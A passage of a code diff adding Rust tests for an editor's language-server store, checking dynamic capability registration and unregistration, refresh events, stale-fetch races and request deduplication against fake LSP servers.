+        "expected the first registration to refresh",
+    );
+
+    register_capability(
+        &fake_server,
+        method,
+        "lens-b",
+        serde_json::to_value(options).ok(),
+    )
+    .await;
+    cx.executor().run_until_parked();
+    assert_eq!(
+        refresh_events.lock().as_slice(),
+        &[] as &[String],
+        "expected a registration with options identical to the active ones to not refresh",
+    );
+
+    unregister_capabilities(&fake_server, method, &["lens-b"]).await;
+    cx.executor().run_until_parked();
+    assert_eq!(
+        refresh_events.lock().as_slice(),
+        &[] as &[String],
+        "expected an unregistration that restores identical options to not refresh",
+    );
+    assert_eq!(
+        server_capabilities(&project, server_id, cx).code_lens_provider,
+        Some(options),
+        "expected the remaining registration's options to stay active",
+    );
+
+    unregister_capabilities(&fake_server, method, &["lens-a"]).await;
+    cx.executor().run_until_parked();
+    assert_eq!(
+        refresh_events.lock().drain(..).collect::<Vec<_>>(),
+        vec![format!("code_lens({server_id})")],
+        "expected the last unregistration to clear the capability and refresh",
+    );
+    assert_eq!(
+        server_capabilities(&project, server_id, cx).code_lens_provider,
+        None,
+        "expected the code lens provider to be cleared after unregistering the last registration",
+    );
+}
+
+#[gpui::test]
+async fn test_multi_registration_completion_triggers(cx: &mut gpui::TestAppContext) {
+    init_test(cx);
+    let (project, fake_server) =
+        setup_dynamic_registration_test(cx, lsp::ServerCapabilities::default()).await;
+    let method = "textDocument/completion";
+
+    let (buffer, _lsp_handle) = project
+        .update(cx, |project, cx| {
+            project.open_local_buffer_with_lsp(path!("/the-root/a.rs"), cx)
+        })
+        .await
+        .unwrap();
+    let buffer_triggers = |cx: &mut gpui::TestAppContext| {
+        buffer.read_with(cx, |buffer, _| buffer.completion_triggers().clone())
+    };
+
+    let options_a = lsp::CompletionOptions {
+        trigger_characters: Some(vec![".".to_string()]),
+        ..lsp::CompletionOptions::default()
+    };
+    let options_b = lsp::CompletionOptions {
+        trigger_characters: Some(vec![":".to_string()]),
+        ..lsp::CompletionOptions::default()
+    };
+
+    register_capability(
+        &fake_server,
+        method,
+        "completion-a",
+        serde_json::to_value(&options_a).ok(),
+    )
+    .await;
+    cx.executor().run_until_parked();
+    assert_eq!(
+        buffer_triggers(cx),
+        BTreeSet::from([".".to_string()]),
+        "expected the first registration's triggers to be applied",
+    );
+
+    register_capability(
+        &fake_server,
+        method,
+        "completion-b",
+        serde_json::to_value(&options_b).ok(),
+    )
+    .await;
+    cx.executor().run_until_parked();
+    assert_eq!(
+        buffer_triggers(cx),
+        BTreeSet::from([":".to_string()]),
+        "expected the second registration's triggers to replace the first ones",
+    );
+
+    let options_a_replacement = lsp::CompletionOptions {
+        trigger_characters: Some(vec!["!".to_string()]),
+        ..lsp::CompletionOptions::default()
+    };
+    register_capability(
+        &fake_server,
+        method,
+        "completion-a",
+        serde_json::to_value(&options_a_replacement).ok(),
+    )
+    .await;
+    cx.executor().run_until_parked();
+    assert_eq!(
+        buffer_triggers(cx),
+        BTreeSet::from([":".to_string()]),
+        "expected the active registration's triggers to stay applied after a duplicate ID replaced an inactive one",
+    );
+
+    unregister_capabilities(&fake_server, method, &["completion-b"]).await;
+    cx.executor().run_until_parked();
+    assert_eq!(
+        buffer_triggers(cx),
+        BTreeSet::from(["!".to_string()]),
+        "expected the replaced registration's triggers to be restored",
+    );
+
+    unregister_capabilities(&fake_server, method, &["completion-a"]).await;
+    cx.executor().run_until_parked();
+    assert_eq!(
+        buffer_triggers(cx),
+        BTreeSet::new(),
+        "expected completion triggers to be cleared after unregistering the last registration",
+    );
+}
+
+#[gpui::test]
+async fn test_multi_registration_middle_removal(cx: &mut gpui::TestAppContext) {
+    init_test(cx);
+    let (project, fake_server) =
+        setup_dynamic_registration_test(cx, lsp::ServerCapabilities::default()).await;
+    let server_id = fake_server.server.server_id();
+    let method = "textDocument/inlayHint";
+
+    let options_a = lsp::InlayHintOptions {
+        resolve_provider: Some(true),
+        ..lsp::InlayHintOptions::default()
+    };
+    let options_b = lsp::InlayHintOptions {
+        resolve_provider: Some(false),
+        ..lsp::InlayHintOptions::default()
+    };
+
+    register_capability(
+        &fake_server,
+        method,
+        "inlay-hint-a",
+        serde_json::to_value(&options_a).ok(),
+    )
+    .await;
+    register_capability(
+        &fake_server,
+        method,
+        "inlay-hint-b",
+        serde_json::to_value(&options_b).ok(),
+    )
+    .await;
+    cx.executor().run_until_parked();
+
+    let (refresh_events, _refresh_events_subscription) = observe_refresh_events(&project, cx);
+    unregister_capabilities(&fake_server, method, &["inlay-hint-a"]).await;
+    cx.executor().run_until_parked();
+    assert_eq!(
+        server_capabilities(&project, server_id, cx).inlay_hint_provider,
+        Some(lsp::OneOf::Right(
+            lsp::InlayHintServerCapabilities::Options(options_b)
+        )),
+        "expected the latest registration to stay active after removing an older one from the middle",
+    );
+    assert_eq!(
+        refresh_events.lock().as_slice(),
+        &[] as &[String],
+        "expected no refresh after removing an inactive registration",
+    );
+
+    unregister_capabilities(&fake_server, method, &["inlay-hint-b"]).await;
+    cx.executor().run_until_parked();
+    assert_eq!(
+        server_capabilities(&project, server_id, cx).inlay_hint_provider,
+        None,
+        "expected inlay hint provider to be cleared after unregistering the last registration",
+    );
+}
+
+#[gpui::test]
+async fn test_refresh_during_code_lens_fetch_does_not_resurrect_stale_data(
+    cx: &mut gpui::TestAppContext,
+) {
+    init_test(cx);
+    let (project, fake_server) =
+        setup_dynamic_registration_test(cx, lsp::ServerCapabilities::default()).await;
+    let method = "textDocument/codeLens";
+
+    let (buffer, _lsp_handle) = project
+        .update(cx, |project, cx| {
+            project.open_local_buffer_with_lsp(path!("/the-root/a.rs"), cx)
+        })
+        .await
+        .unwrap();
+
+    let lens_requests = Arc::new(atomic::AtomicUsize::new(0));
+    let (gate_tx, gate_rx) = futures::channel::oneshot::channel::<()>();
+    let gate_rx = Arc::new(Mutex::new(Some(gate_rx)));
+    fake_server.set_request_handler::<lsp::request::CodeLensRequest, _, _>({
+        let lens_requests = lens_requests.clone();
+        let gate_rx = gate_rx.clone();
+        move |_, _| {
+            lens_requests.fetch_add(1, atomic::Ordering::Release);
+            let gate = gate_rx.lock().take();
+            async move {
+                if let Some(gate) = gate {
+                    gate.await.ok();
+                }
+                Ok(Some(vec![lsp::CodeLens {
+                    range: lsp::Range::new(lsp::Position::new(0, 0), lsp::Position::new(0, 1)),
+                    command: Some(lsp::Command {
+                        title: "stale lens".to_string(),
+                        command: "lens_cmd".to_string(),
+                        arguments: None,
+                    }),
+                    data: None,
+                }]))
+            }
+        }
+    });
+
+    register_capability(
+        &fake_server,
+        method,
+        "lens",
+        serde_json::to_value(lsp::CodeLensOptions {
+            resolve_provider: None,
+        })
+        .ok(),
+    )
+    .await;
+    cx.executor().run_until_parked();
+
+    let lsp_store = project.read_with(cx, |project, _| project.lsp_store());
+    let first_fetch =
+        lsp_store.update(cx, |lsp_store, cx| lsp_store.code_lens_actions(&buffer, cx));
+    cx.executor().advance_clock(Duration::from_millis(50));
+    cx.executor().run_until_parked();
+    assert_eq!(
+        lens_requests.load(atomic::Ordering::Acquire),
+        1,
+        "expected the code lens request to be in flight before the unregistration",
+    );
+
+    unregister_capabilities(&fake_server, method, &["lens"]).await;
+    cx.executor().run_until_parked();
+
+    gate_tx.send(()).unwrap();
+    first_fetch.await.unwrap();
+    cx.executor().run_until_parked();
+
+    let actions = lsp_store
+        .update(cx, |lsp_store, cx| lsp_store.code_lens_actions(&buffer, cx))
+        .await
+        .unwrap();
+    assert_eq!(
+        actions.map(|actions| actions.len()),
+        Some(0),
+        "expected no code lens data after the unregistration, even though a stale fetch completed after it",
+    );
+    assert_eq!(
+        lens_requests.load(atomic::Ordering::Acquire),
+        1,
+        "expected the unregistered server to not be queried again",
+    );
+}
+
+#[gpui::test]
+async fn test_multi_registration_unregister_with_static_only(cx: &mut gpui::TestAppContext) {
+    init_test(cx);
+    let (project, fake_server) = setup_dynamic_registration_test(
+        cx,
+        lsp::ServerCapabilities {
+            inlay_hint_provider: Some(lsp::OneOf::Left(true)),
+            ..lsp::ServerCapabilities::default()
+        },
+    )
+    .await;
+    let server_id = fake_server.server.server_id();
+
+    unregister_capabilities(&fake_server, "textDocument/inlayHint", &["unknown-id"]).await;
+    cx.executor().run_until_parked();
+    assert_eq!(
+        server_capabilities(&project, server_id, cx).inlay_hint_provider,
+        Some(lsp::OneOf::Left(true)),
+        "expected the static capability to survive unregistering an unknown ID",
+    );
+}
+
+#[gpui::test]
+async fn test_multi_registration_completion_static_restore(cx: &mut gpui::TestAppContext) {
+    init_test(cx);
+    let static_options = lsp::CompletionOptions {
+        trigger_characters: Some(vec![".".to_string()]),
+        ..lsp::CompletionOptions::default()
+    };
+    let (project, fake_server) = setup_dynamic_registration_test(
+        cx,
+        lsp::ServerCapabilities {
+            completion_provider: Some(static_options.clone()),
+            ..lsp::ServerCapabilities::default()
+        },
+    )
+    .await;
+    let server_id = fake_server.server.server_id();
+    let method = "textDocument/completion";
+
+    let (buffer, _lsp_handle) = project
+        .update(cx, |project, cx| {
+            project.open_local_buffer_with_lsp(path!("/the-root/a.rs"), cx)
+        })
+        .await
+        .unwrap();
+    let buffer_triggers = |cx: &mut gpui::TestAppContext| {
+        buffer.read_with(cx, |buffer, _| buffer.completion_triggers().clone())
+    };
+    assert_eq!(
+        buffer_triggers(cx),
+        BTreeSet::from([".".to_string()]),
+        "expected the static trigger characters before any dynamic registration",
+    );
+
+    let dynamic_options = lsp::CompletionOptions {
+        trigger_characters: Some(vec![":".to_string()]),
+        ..lsp::CompletionOptions::default()
+    };
+    register_capability(
+        &fake_server,
+        method,
+        "completion-dynamic",
+        serde_json::to_value(&dynamic_options).ok(),
+    )
+    .await;
+    cx.executor().run_until_parked();
+    assert_eq!(
+        buffer_triggers(cx),
+        BTreeSet::from([":".to_string()]),
+        "expected the dynamic registration's triggers to override the static ones",
+    );
+
+    unregister_capabilities(&fake_server, method, &["completion-dynamic"]).await;
+    cx.executor().run_until_parked();
+    assert_eq!(
+        server_capabilities(&project, server_id, cx).completion_provider,
+        Some(static_options),
+        "expected the static completion provider to be restored",
+    );
+    assert_eq!(
+        buffer_triggers(cx),
+        BTreeSet::from([".".to_string()]),
+        "expected the static trigger characters to be restored",
+    );
+}
+
+#[gpui::test]
+async fn test_multi_registration_same_id_different_methods(cx: &mut gpui::TestAppContext) {
+    init_test(cx);
+    let (project, fake_server) =
+        setup_dynamic_registration_test(cx, lsp::ServerCapabilities::default()).await;
+    let server_id = fake_server.server.server_id();
+
+    let code_lens_options = lsp::CodeLensOptions {
+        resolve_provider: Some(true),
+    };
+    register_capability(&fake_server, "textDocument/inlayHint", "shared-id", None).await;
+    register_capability(
+        &fake_server,
+        "textDocument/codeLens",
+        "shared-id",
+        serde_json::to_value(code_lens_options).ok(),
+    )
+    .await;
+    cx.executor().run_until_parked();
+
+    unregister_capabilities(&fake_server, "textDocument/codeLens", &["shared-id"]).await;
+    cx.executor().run_until_parked();
+    let capabilities = server_capabilities(&project, server_id, cx);
+    assert_eq!(
+        capabilities.code_lens_provider, None,
+        "expected the code lens registration to be removed",
+    );
+    assert_eq!(
+        capabilities.inlay_hint_provider,
+        Some(lsp::OneOf::Left(true)),
+        "expected the inlay hint registration with the same ID to stay intact",
+    );
+}
+
+#[gpui::test]
+async fn test_multi_registration_diagnostics(cx: &mut gpui::TestAppContext) {
+    init_test(cx);
+    let (project, fake_server) =
+        setup_dynamic_registration_test(cx, lsp::ServerCapabilities::default()).await;
+    let server_id = fake_server.server.server_id();
+    let method = "textDocument/diagnostic";
+    fake_server.set_request_handler::<lsp::request::DocumentDiagnosticRequest, _, _>(
+        move |_, _| async move {
+            Ok(lsp::DocumentDiagnosticReportResult::Report(
+                lsp::DocumentDiagnosticReport::Full(
+                    lsp::RelatedFullDocumentDiagnosticReport::default(),
+                ),
+            ))
+        },
+    );
+
+    let options_a = lsp::DiagnosticServerCapabilities::Options(lsp::DiagnosticOptions {
+        identifier: Some("diagnostics-a".to_string()),
+        ..lsp::DiagnosticOptions::default()
+    });
+    let options_b = lsp::DiagnosticServerCapabilities::Options(lsp::DiagnosticOptions {
+        identifier: Some("diagnostics-b".to_string()),
+        ..lsp::DiagnosticOptions::default()
+    });
+
+    register_capability(
+        &fake_server,
+        method,
+        "diag-a",
+        serde_json::to_value(&options_a).ok(),
+    )
+    .await;
+    register_capability(
+        &fake_server,
+        method,
+        "diag-b",
+        serde_json::to_value(&options_b).ok(),
+    )
+    .await;
+    cx.executor().run_until_parked();
+    assert_eq!(
+        server_capabilities(&project, server_id, cx).diagnostic_provider,
+        Some(options_b),
+        "expected the latest diagnostic registration to be active",
+    );
+
+    unregister_capabilities(&fake_server, method, &["diag-b"]).await;
+    cx.executor().run_until_parked();
+    assert_eq!(
+        server_capabilities(&project, server_id, cx).diagnostic_provider,
+        Some(options_a.clone()),
+        "expected the remaining diagnostic registration to be restored",
+    );
+
+    unregister_capabilities(&fake_server, method, &["unknown-id"]).await;
+    cx.executor().run_until_parked();
+    assert_eq!(
+        server_capabilities(&project, server_id, cx).diagnostic_provider,
+        Some(options_a),
+        "expected an unknown unregistration ID to leave the diagnostic provider intact",
+    );
+
+    unregister_capabilities(&fake_server, method, &["diag-a"]).await;
+    cx.executor().run_until_parked();
+    assert_eq!(
+        server_capabilities(&project, server_id, cx).diagnostic_provider,
+        None,
+        "expected the diagnostic provider to be cleared after unregistering the last registration",
+    );
+}
+
+#[gpui::test]
+async fn test_dynamic_registration_refreshes_lsp_data(cx: &mut gpui::TestAppContext) {
+    init_test(cx);
+
+    let fs = FakeFs::new(cx.executor());
+    fs.insert_tree(path!("/the-root"), json!({ "a.rs": "fn main() {}" }))
+        .await;
+    let project = Project::test(fs, [path!("/the-root").as_ref()], cx).await;
+    let language_registry = project.read_with(cx, |project, _| project.languages().clone());
+    language_registry.add(rust_lang());
+
+    let mut static_servers = language_registry.register_fake_lsp(
+        "Rust",
+        FakeLspAdapter {
+            name: "static-server",
+            capabilities: lsp::ServerCapabilities {
+                color_provider: Some(lsp::ColorProviderCapability::Simple(true)),
+                document_link_provider: Some(lsp::DocumentLinkOptions {
+                    resolve_provider: None,
+                    work_done_progress_options: lsp::WorkDoneProgressOptions::default(),
+                }),
+                folding_range_provider: Some(lsp::FoldingRangeProviderCapability::Simple(true)),
+                document_symbol_provider: Some(lsp::OneOf::Left(true)),
+                code_lens_provider: Some(lsp::CodeLensOptions {
+                    resolve_provider: None,
+                }),
+                semantic_tokens_provider: Some(
+                    lsp::SemanticTokensServerCapabilities::SemanticTokensOptions(
+                        lsp::SemanticTokensOptions {
+                            full: Some(lsp::SemanticTokensFullOptions::Bool(true)),
+                            ..lsp::SemanticTokensOptions::default()
+                        },
+                    ),
+                ),
+                inlay_hint_provider: Some(lsp::OneOf::Left(true)),
+                completion_provider: Some(lsp::CompletionOptions {
+                    trigger_characters: Some(vec![".".to_string()]),
+                    ..lsp::CompletionOptions::default()
+                }),
+                ..lsp::ServerCapabilities::default()
+            },
+            ..FakeLspAdapter::default()
+        },
+    );
+    let mut dynamic_servers = language_registry.register_fake_lsp(
+        "Rust",
+        FakeLspAdapter {
+            name: "dynamic-server",
+            ..FakeLspAdapter::default()
+        },
+    );
+    cx.executor().run_until_parked();
+
+    let (buffer, _lsp_handle) = project
+        .update(cx, |project, cx| {
+            project.open_local_buffer_with_lsp(path!("/the-root/a.rs"), cx)
+        })
+        .await
+        .unwrap();
+    let static_server = static_servers.next().await.unwrap();
+    let dynamic_server = dynamic_servers.next().await.unwrap();
+    let dynamic_server_id = dynamic_server.server.server_id();
+    cx.executor().run_until_parked();
+
+    let static_counters = count_lsp_requests(&static_server);
+    let dynamic_counters = count_lsp_requests(&dynamic_server);
+    let (refresh_events, _refresh_events_subscription) = observe_refresh_events(&project, cx);
+    let buffer_triggers = |cx: &mut gpui::TestAppContext| {
+        buffer.read_with(cx, |buffer, _| buffer.completion_triggers().clone())
+    };
+
+    fetch_lsp_data(&project, &buffer, cx).await;
+    assert_eq!(
+        static_counters.snapshot(),
+        LspRequestCounts {
+            colors: 1,
+            links: 1,
+            folding_ranges: 1,
+            document_symbols: 1,
+            code_lens: 1,
+            semantic_tokens: 1,
+        },
+        "expected the initial fetch to query the statically capable server",
+    );
+    assert_eq!(
+        dynamic_counters.snapshot(),
+        LspRequestCounts::default(),
+        "expected the initial fetch to skip the server without capabilities",
+    );
+    assert_eq!(buffer_triggers(cx), BTreeSet::from([".".to_string()]));
+    assert_eq!(refresh_events.lock().as_slice(), &[] as &[String]);
+
+    register_capability(
+        &dynamic_server,
+        "textDocument/documentColor",
+        "colors",
+        None,
+    )
+    .await;
+    register_capability(
+        &dynamic_server,
+        "textDocument/documentLink",
+        "links",
+        serde_json::to_value(lsp::DocumentLinkOptions {
+            resolve_provider: None,
+            work_done_progress_options: lsp::WorkDoneProgressOptions::default(),
+        })
+        .ok(),
+    )
+    .await;
+    register_capability(
+        &dynamic_server,
+        "textDocument/foldingRange",
+        "folding",
+        None,
+    )
+    .await;
+    register_capability(
+        &dynamic_server,
+        "textDocument/documentSymbol",
+        "symbols",
+        None,
+    )
+    .await;
+    register_capability(
+        &dynamic_server,
+        "textDocument/codeLens",
+        "code-lens",
+        serde_json::to_value(lsp::CodeLensOptions {
+            resolve_provider: None,
+        })
+        .ok(),
+    )
+    .await;
+    register_capability(
+        &dynamic_server,
+        "textDocument/semanticTokens",
+        "tokens",
+        serde_json::to_value(lsp::SemanticTokensRegistrationOptions {
+            text_document_registration_options: lsp::TextDocumentRegistrationOptions {
+                document_selector: None,
+            },
+            semantic_tokens_options: lsp::SemanticTokensOptions {
+                full: Some(lsp::SemanticTokensFullOptions::Bool(true)),
+                ..lsp::SemanticTokensOptions::default()
+            },
+            static_registration_options: lsp::StaticRegistrationOptions::default(),
+        })
+        .ok(),
+    )
+    .await;
+    register_capability(&dynamic_server, "textDocument/inlayHint", "hints", None).await;
+    register_capability(
+        &dynamic_server,
+        "textDocument/completion",
+        "completions",
+        serde_json::to_value(lsp::CompletionOptions {
+            trigger_characters: Some(vec![":".to_string()]),
+            ..lsp::CompletionOptions::default()
+        })
+        .ok(),
+    )
+    .await;
+    cx.executor().run_until_parked();
+
+    assert_eq!(
+        sorted(refresh_events.lock().drain(..)),
+        vec![
+            format!("code_lens({dynamic_server_id})"),
+            format!("document_colors({dynamic_server_id})"),
+            format!("document_links({dynamic_server_id})"),
+            format!("document_symbols({dynamic_server_id})"),
+            format!("folding_ranges({dynamic_server_id})"),
+            format!("inlay_hints({dynamic_server_id})"),
+            format!("semantic_tokens({dynamic_server_id})"),
+        ],
+        "expected every dynamic registration to trigger the corresponding per-server refresh",
+    );
+    assert_eq!(
+        buffer_triggers(cx),
+        BTreeSet::from([".".to_string(), ":".to_string()]),
+        "expected trigger characters from both servers to be combined",
+    );
+
+    fetch_lsp_data(&project, &buffer, cx).await;
+    assert_eq!(
+        dynamic_counters.snapshot(),
+        LspRequestCounts {
+            colors: 1,
+            links: 1,
+            folding_ranges: 1,
+            document_symbols: 1,
+            code_lens: 1,
+            semantic_tokens: 1,
+        },
+        "expected the newly registered server to be queried after the refreshes",
+    );
+    assert_eq!(
+        static_counters.snapshot(),
+        LspRequestCounts {
+            colors: 1,
+            links: 1,
+            folding_ranges: 1,
+            document_symbols: 1,
+            code_lens: 1,
+            semantic_tokens: 1,
+        },
+        "expected per-server refreshes to leave the static server's cached data untouched",
+    );
+
+    unregister_capabilities(&dynamic_server, "textDocument/documentColor", &["colors"]).await;
+    unregister_capabilities(&dynamic_server, "textDocument/documentLink", &["links"]).await;
+    unregister_capabilities(&dynamic_server, "textDocument/foldingRange", &["folding"]).await;
+    unregister_capabilities(&dynamic_server, "textDocument/documentSymbol", &["symbols"]).await;
+    unregister_capabilities(&dynamic_server, "textDocument/codeLens", &["code-lens"]).await;
+    unregister_capabilities(&dynamic_server, "textDocument/semanticTokens", &["tokens"]).await;
+    unregister_capabilities(&dynamic_server, "textDocument/inlayHint", &["hints"]).await;
+    unregister_capabilities(&dynamic_server, "textDocument/completion", &["completions"]).await;
+    cx.executor().run_until_parked();
+
+    assert_eq!(
+        sorted(refresh_events.lock().drain(..)),
+        vec![
+            format!("code_lens({dynamic_server_id})"),
+            format!("document_colors({dynamic_server_id})"),
+            format!("document_links({dynamic_server_id})"),
+            format!("document_symbols({dynamic_server_id})"),
+            format!("folding_ranges({dynamic_server_id})"),
+            format!("inlay_hints({dynamic_server_id})"),
+            format!("semantic_tokens({dynamic_server_id})"),
+        ],
+        "expected every unregistration to trigger the corresponding per-server refresh",
+    );
+    assert_eq!(
+        buffer_triggers(cx),
+        BTreeSet::from([".".to_string()]),
+        "expected only the static server's trigger characters to remain",
+    );
+
+    fetch_lsp_data(&project, &buffer, cx).await;
+    assert_eq!(
+        dynamic_counters.snapshot(),
+        LspRequestCounts {
+            colors: 1,
+            links: 1,
+            folding_ranges: 1,
+            document_symbols: 1,
+            code_lens: 1,
+            semantic_tokens: 1,
+        },
+        "expected the unregistered server to not be queried anymore",
+    );
+    assert_eq!(
+        static_counters.snapshot(),
+        LspRequestCounts {
+            colors: 1,
+            links: 1,
+            folding_ranges: 1,
+            document_symbols: 1,
+            code_lens: 1,
+            semantic_tokens: 1,
+        },
+        "expected the static server to never be re-queried by another server's capability changes",
+    );
+}
+
+#[gpui::test]
+async fn test_semantic_tokens_refresh_invalidates_only_the_refreshed_server(
+    cx: &mut gpui::TestAppContext,
+) {
+    init_test(cx);
+
+    let fs = FakeFs::new(cx.executor());
+    fs.insert_tree(path!("/the-root"), json!({ "a.rs": "fn main() {}" }))
+        .await;
+    let project = Project::test(fs, [path!("/the-root").as_ref()], cx).await;
+    let language_registry = project.read_with(cx, |project, _| project.languages().clone());
+    language_registry.add(rust_lang());
+
+    let semantic_tokens_capabilities = lsp::ServerCapabilities {
+        semantic_tokens_provider: Some(
+            lsp::SemanticTokensServerCapabilities::SemanticTokensOptions(
+                lsp::SemanticTokensOptions {
+                    full: Some(lsp::SemanticTokensFullOptions::Bool(true)),
+                    ..lsp::SemanticTokensOptions::default()
+                },
+            ),
+        ),
+        ..lsp::ServerCapabilities::default()
+    };
+    let mut servers_a = language_registry.register_fake_lsp(
+        "Rust",
+        FakeLspAdapter {
+            name: "server-a",
+            capabilities: semantic_tokens_capabilities.clone(),
+            ..FakeLspAdapter::default()
+        },
+    );
+    let mut servers_b = language_registry.register_fake_lsp(
+        "Rust",
+        FakeLspAdapter {
+            name: "server-b",
+            capabilities: semantic_tokens_capabilities,
+            ..FakeLspAdapter::default()
+        },
+    );
+    cx.executor().run_until_parked();
+
+    let (buffer, _lsp_handle) = project
+        .update(cx, |project, cx| {
+            project.open_local_buffer_with_lsp(path!("/the-root/a.rs"), cx)
+        })
+        .await
+        .unwrap();
+    let buffer_id = buffer.read_with(cx, |buffer, _| buffer.remote_id());
+    let server_a = servers_a.next().await.unwrap();
+    let server_b = servers_b.next().await.unwrap();
+    for server in [&server_a, &server_b] {
+        server.set_request_handler::<lsp::request::SemanticTokensFullRequest, _, _>(
+            move |_, _| async move {
+                Ok(Some(lsp::SemanticTokensResult::Tokens(
+                    lsp::SemanticTokens::default(),
+                )))
+            },
+        );
+    }
+    let server_a_id = server_a.server.server_id();
+    let server_b_id = server_b.server.server_id();
+    cx.executor().run_until_parked();
+
+    let lsp_store = project.read_with(cx, |project, _| project.lsp_store());
+    let cached_token_servers = |cx: &mut gpui::TestAppContext| {
+        lsp_store.read_with(cx, |lsp_store, _| {
+            lsp_store.semantic_token_servers(buffer_id)
+        })
+    };
+
+    lsp_store
+        .update(cx, |lsp_store, cx| {
+            lsp_store.semantic_tokens(buffer.clone(), cx)
+        })
+        .await
+        .unwrap();
+    assert_eq!(
+        cached_token_servers(cx),
+        vec![server_a_id, server_b_id],
+        "expected tokens from both servers after the initial fetch",
+    );
+
+    for repetition in 0..2 {
+        server_a
+            .request::<lsp::request::SemanticTokensRefresh>((), DEFAULT_LSP_REQUEST_TIMEOUT)
+            .await
+            .into_response()
+            .unwrap();
+        let refresh_task = lsp_store.update(cx, |lsp_store, cx| {
+            lsp_store.semantic_tokens(buffer.clone(), cx)
+        });
+        assert_eq!(
+            cached_token_servers(cx),
+            vec![server_b_id],
+            "expected refresh {repetition} to invalidate only the refreshed server's tokens",
+        );
+        let concurrent_task = lsp_store.update(cx, |lsp_store, cx| {
+            lsp_store.semantic_tokens(buffer.clone(), cx)
+        });
+        assert_eq!(
+            cached_token_servers(cx),
+            vec![server_b_id],
+            "expected a concurrent query {repetition} to not invalidate the data again",
+        );
+        refresh_task.await.unwrap();
+        concurrent_task.await.unwrap();
+        assert_eq!(
+            cached_token_servers(cx),
+            vec![server_a_id, server_b_id],
+            "expected the refreshed server's tokens to be re-fetched after refresh {repetition}",
+        );
+    }
+}
+
+#[gpui::test]
+async fn test_semantic_tokens_refresh_during_fetch_does_not_resurrect_stale_data(
+    cx: &mut gpui::TestAppContext,
+) {
+    init_test(cx);
+    let (project, fake_server) = setup_dynamic_registration_test(
+        cx,
+        lsp::ServerCapabilities {
+            semantic_tokens_provider: Some(
+                lsp::SemanticTokensServerCapabilities::SemanticTokensOptions(
+                    lsp::SemanticTokensOptions {
+                        full: Some(lsp::SemanticTokensFullOptions::Bool(true)),
+                        ..lsp::SemanticTokensOptions::default()
+                    },
+                ),
+            ),
+            ..lsp::ServerCapabilities::default()
+        },
+    )
+    .await;
+    let server_id = fake_server.server.server_id();
+
+    let (buffer, _lsp_handle) = project
+        .update(cx, |project, cx| {
+            project.open_local_buffer_with_lsp(path!("/the-root/a.rs"), cx)
+        })
+        .await
+        .unwrap();
+    let buffer_id = buffer.read_with(cx, |buffer, _| buffer.remote_id());
+    cx.executor().run_until_parked();
+
+    let stale_data = vec![0, 0, 2, 0, 0];
+    let fresh_data = vec![0, 0, 2, 0, 0, 0, 3, 4, 0, 0];
+    let token_requests = Arc::new(atomic::AtomicUsize::new(0));
+    let (gate_tx, gate_rx) = futures::channel::oneshot::channel::<()>();
+    let gate_rx = Arc::new(Mutex::new(Some(gate_rx)));
+    fake_server.set_request_handler::<lsp::request::SemanticTokensFullRequest, _, _>({
+        let token_requests = token_requests.clone();
+        let gate_rx = gate_rx.clone();
+        let stale_data = stale_data.clone();
+        let fresh_data = fresh_data.clone();
+        move |_, _| {
+            let request = token_requests.fetch_add(1, atomic::Ordering::Release);
+            let gate = gate_rx.lock().take();
+            let data = if request == 0 {
+                stale_data.clone()
+            } else {
+                fresh_data.clone()
+            };
+            async move {
+                if let Some(gate) = gate {
+                    gate.await.ok();
+                }
+                Ok(Some(lsp::SemanticTokensResult::Tokens(
+                    lsp::SemanticTokens {
+                        result_id: None,
+                        data,
+                    },
+                )))
+            }
+        }
+    });
+
+    let lsp_store = project.read_with(cx, |project, _| project.lsp_store());
+    let stale_fetch = lsp_store.update(cx, |lsp_store, cx| {
+        lsp_store.semantic_tokens(buffer.clone(), cx)
+    });
+    cx.executor().run_until_parked();
+    assert_eq!(
+        token_requests.load(atomic::Ordering::Acquire),
+        1,
+        "expected the first fetch to be in flight before the refresh",
+    );
+
+    fake_server
+        .request::<lsp::request::SemanticTokensRefresh>((), DEFAULT_LSP_REQUEST_TIMEOUT)
+        .await
+        .into_response()
+        .unwrap();
+    cx.executor().run_until_parked();
+
+    let fresh_fetch = lsp_store.update(cx, |lsp_store, cx| {
+        lsp_store.semantic_tokens(buffer.clone(), cx)
+    });
+    fresh_fetch.await.unwrap();
+
+    gate_tx.send(()).unwrap();
+    stale_fetch.await.unwrap();
+    cx.executor().run_until_parked();
+
+    assert_eq!(
+        lsp_store.read_with(cx, |lsp_store, _| lsp_store.semantic_token_data(buffer_id)),
+        vec![(server_id, fresh_data)],
+        "expected the stale fetch, completed after the refresh, to not overwrite the refreshed tokens",
+    );
+    assert_eq!(
+        token_requests.load(atomic::Ordering::Acquire),
+        2,
+        "expected exactly the stale and the fresh fetches to have queried the server",
+    );
+}
+
+#[gpui::test]
+async fn test_code_lens_concurrent_fetches_are_deduplicated(cx: &mut gpui::TestAppContext) {
+    init_test(cx);
+    let (project, fake_server) = setup_dynamic_registration_test(
+        cx,
+        lsp::ServerCapabilities {
+            code_lens_provider: Some(lsp::CodeLensOptions {
+                resolve_provider: None,
+            }),
+            ..lsp::ServerCapabilities::default()
+        },
+    )
+    .await;
+
+    let (buffer, _lsp_handle) = project
+        .update(cx, |project, cx| {
+            project.open_local_buffer_with_lsp(path!("/the-root/a.rs"), cx)
+        })
+        .await
+        .unwrap();
+    cx.executor().run_until_parked();
+
+    let lens_requests = Arc::new(atomic::AtomicUsize::new(0));
+    fake_server.set_request_handler::<lsp::request::CodeLensRequest, _, _>({
+        let lens_requests = lens_requests.clone();
+        move |_, _| {
+            lens_requests.fetch_add(1, atomic::Ordering::Release);
+            async move { Ok(Some(Vec::new())) }
+        }
+    });
+
+    let lsp_store = project.read_with(cx, |project, _| project.lsp_store());
+    let first_fetch =
+        lsp_store.update(cx, |lsp_store, cx| lsp_store.code_lens_actions(&buffer, cx));
+    let second_fetch =
+        lsp_store.update(cx, |lsp_store, cx| lsp_store.code_lens_actions(&buffer, cx));
+    cx.executor().advance_clock(Duration::from_millis(50));
+    first_fetch.await.unwrap();
+    second_fetch.await.unwrap();
+    assert_eq!(
+        lens_requests.load(atomic::Ordering::Acquire),
+        1,
+        "expected concurrent code lens fetches to share one LSP request",
+    );
+
+    lsp_store
+        .update(cx, |lsp_store, cx| lsp_store.code_lens_actions(&buffer, cx))
+        .await
+        .unwrap();
+    assert_eq!(
+        lens_requests.load(atomic::Ordering::Acquire),
+        1,
+        "expected a repeated fetch for the unchanged buffer to be served from the cache",
+    );
+}
+
+#[gpui::test]
+async fn test_multiple_did_change_watched_files_registrations(cx: &mut gpui::TestAppContext) {
+    init_test(cx);
+
